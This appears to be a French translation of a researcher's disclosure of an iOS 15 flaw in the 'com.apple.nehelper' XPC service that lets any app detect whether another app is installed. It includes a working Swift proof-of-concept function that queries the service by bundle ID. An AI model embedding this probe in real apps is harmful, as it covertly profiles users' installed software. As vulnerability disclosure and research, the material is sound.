
iOS 15 0-day exploit (still works in 15.0.2)
J'ai mis à jour ce code pour éviter d'utiliser directement une API privée. Pour en savoir plus, consultez mon article de blog. Cela signifie toutefois que ce code est désormais spécifique à la version d'iOS et éventuellement au modèle de l'appareil. Donc s'il ne fonctionne pas sur votre appareil, recalculez et mettez à jour les offsets dans le fichier c.c. Le code original se trouve dans la branche direct.
La vulnérabilité permet à toute application installée par l'utilisateur de déterminer si une application est installée sur l'appareil, à partir de son bundle ID.
Le point de terminaison XPC « com.apple.nehelper » expose une méthode accessible à toute application, qui accepte un bundle ID en paramètre et renvoie un tableau contenant des UUID de cache si l'application dont le bundle ID correspond est installée sur l'appareil, ou un tableau vide sinon.
Cela se produit dans -[NEHelperCacheManager onQueueHandleMessage:] dans /usr/libexec/nehelper.
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}